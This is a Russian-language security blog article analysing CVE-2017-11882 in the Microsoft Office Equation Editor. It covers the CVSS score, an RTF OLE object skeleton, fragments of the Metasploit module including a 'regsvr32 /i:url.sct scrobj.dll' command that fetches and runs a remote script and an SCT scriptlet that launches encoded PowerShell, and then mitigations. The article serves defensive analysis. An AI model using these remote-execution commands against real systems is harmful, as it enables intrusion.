Уязвимость пакета программ Microsoft Office
Уязвимость пакета программ Microsoft Office
Категория: Программы Теги: Уязвимости Опубликовано: 16 мая 2025

Уязвимость BDU:2018-00096 (CVE-2017-11882) Microsoft Office

Уязвимость BDU:2018-00096 (CVE-2017-11882) типа Memory Corruption в компоненте Equation Editor (EQNEDT32.EXE) пакета Microsoft Office. Уязвимость возникает из-за некорректной обработки OLE-объектов в памяти, что позволяет злоумышленнику выполнить произвольный код через специально сформированный документ (например, RTF или DOC).

Анализ уязвимости

Уровень опасности: 7.8 (Высокий)
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

  1. AV:L (Вектор атаки: Локальный) – Требуется физический/локальный доступ к системе.

  2. AC:L (Сложность атаки: Низкая) – Простая эксплуатация уязвимости.

  3. PR:N (Привилегии: Нет) – Доступ к системе не требуется.

  4. UI:R (Взаимодействие: Требуется) – Необходимы действия пользователя (например, запуск файла).

  5. S:U (Область: Неизменная) – Влияет только на уязвимый компонент.

  6. C:H (Конфиденциальность: Высокое) – Полная утечка данных.

  7. I:H (Целостность: Высокое) – Критическое изменение данных/системы.

  8. A:H (Доступность: Высокое) – Серьёзное нарушение работы системы.

Интерпретация: Уязвимость высокой опасности (7.8) требует локального доступа и действий пользователя, но позволяет без привилегий нарушить конфиденциальность, целостность и доступность системы. Риск обусловлен низкой сложностью эксплуатации и максимальным воздействием на ключевые аспекты безопасности.

Условия эксплуатации

  • Пользователь должен открыть вредоносный файл (не требуется дополнительных действий, таких как включение макросов).

  • Уязвимые версии: Office 2007–2016 (до патчей ноября 2017 года).

  • Equation Editor по умолчанию включен в Office, но не поддерживает современные механизмы защиты (ASLR, DEP).

Технический механизм атаки

Уязвимость связана с переполнением буфера при парсинге формулы в OLE-объекте. При открытии файла Equation Editor пытается обработать структуру \objdata, содержащую шеллкод. Из-за отсутствия проверок длины данных происходит перезапись указателя на функцию, что приводит к выполнению кода.

Пример структуры вредоносного OLE-объекта

{\object\objemb\objupdate{\*\objclass Equation.3}
objw380\objh260{\*\objdata 
01050000020000000b0000004571756174696f6e2e330000000000...
... [shellcode] ...
}

Анализ кода эксплоита Metasploit

Рассмотрим ключевые части общедоступного эксплоита к уязвимости BDU:2018-00096 (CVE-2017-11882) для понимания вектора атаки.

1. Генерация RTF-файла

Метод generate_rtf создает структуру RTF с внедренным OLE-объектом:

def generate_rtf
  header = retrieve_header(datastore['FILENAME'])
  object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}...'
  shellcode = "\x1c\x00\x00\x00..."  # Шеллкод для перехвата управления
  footer = '...{\*\picprop}\wmetafile8...'  # Завершение RTF
  payload = header + object_class + shellcode + footer
end

2. Шеллкод

Эксплоит использует ассемблерный код для подготовки вызова regsvr32, который загружает удаленный SCT-скрипт:

mov eax, 0x1271eb44   ; Адрес для обхода ASLR
xor eax, edx          
call DWORD PTR [esi]  ; Вызов WinExec
push ebx
sub si, 0x4c
call DWORD PTR [eax]  ; Запуск regsvr32

3. Использование PowerShell

Для выполнения произвольного кода генерируется команда:

def gen_psh(url, *method)
  command = "regsvr32 /s /n /u /i:#{url}.sct scrobj.dll"
  # Результат: запуск скрипта через COM-объект
end

4. SCT-скрипт

Сервер возвращает XML-скрипт, выполняющий PowerShell:

<scriptlet>
  <registration progid="RANDOM_ID" classid="{CLSID}">
    <script><![CDATA[ new ActiveXObject("WScript.Shell").Run("powershell -enc PAYLOAD", 0); ]]>
    </script>
  </registration>
</scriptlet>

Условия успешной эксплуатации

  1. Целевая система:

    • Windows + уязвимая версия Office.

    • Отсутствие патчей  к Office 2010 и Office 2013 и др.

  2. Сетевой доступ:

    • Для загрузки SCT-скрипта требуется исходящее соединение с интернетом.

    • Если эксплоит использует внутренний HTTP-сервер, атакующий должен находиться в той же сети.

Защита и рекомендации

  1. Установка обновлений:

    • Применить патчи Microsoft от ноября 2017 года.

  2. Отключение Equation Editor:

    # Команда для удаления через реестр
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" -Name "Compatibility Flags" -Value 0x400
  3. Блокировка выполнения regsvr32:

    • Использовать AppLocker или WDAC:

      <Rule Type="Path" Action="Deny" Id="...">
        <TargetPath>regsvr32.exe</TargetPath>
      </Rule>
  4. Настройка просмотра файлов:

    • Использовать Protected View для документов из ненадежных источников.

    • Блокировать RTF-файлы в Outlook через групповые политики.

Алексей Черемных Алексей Черемных
109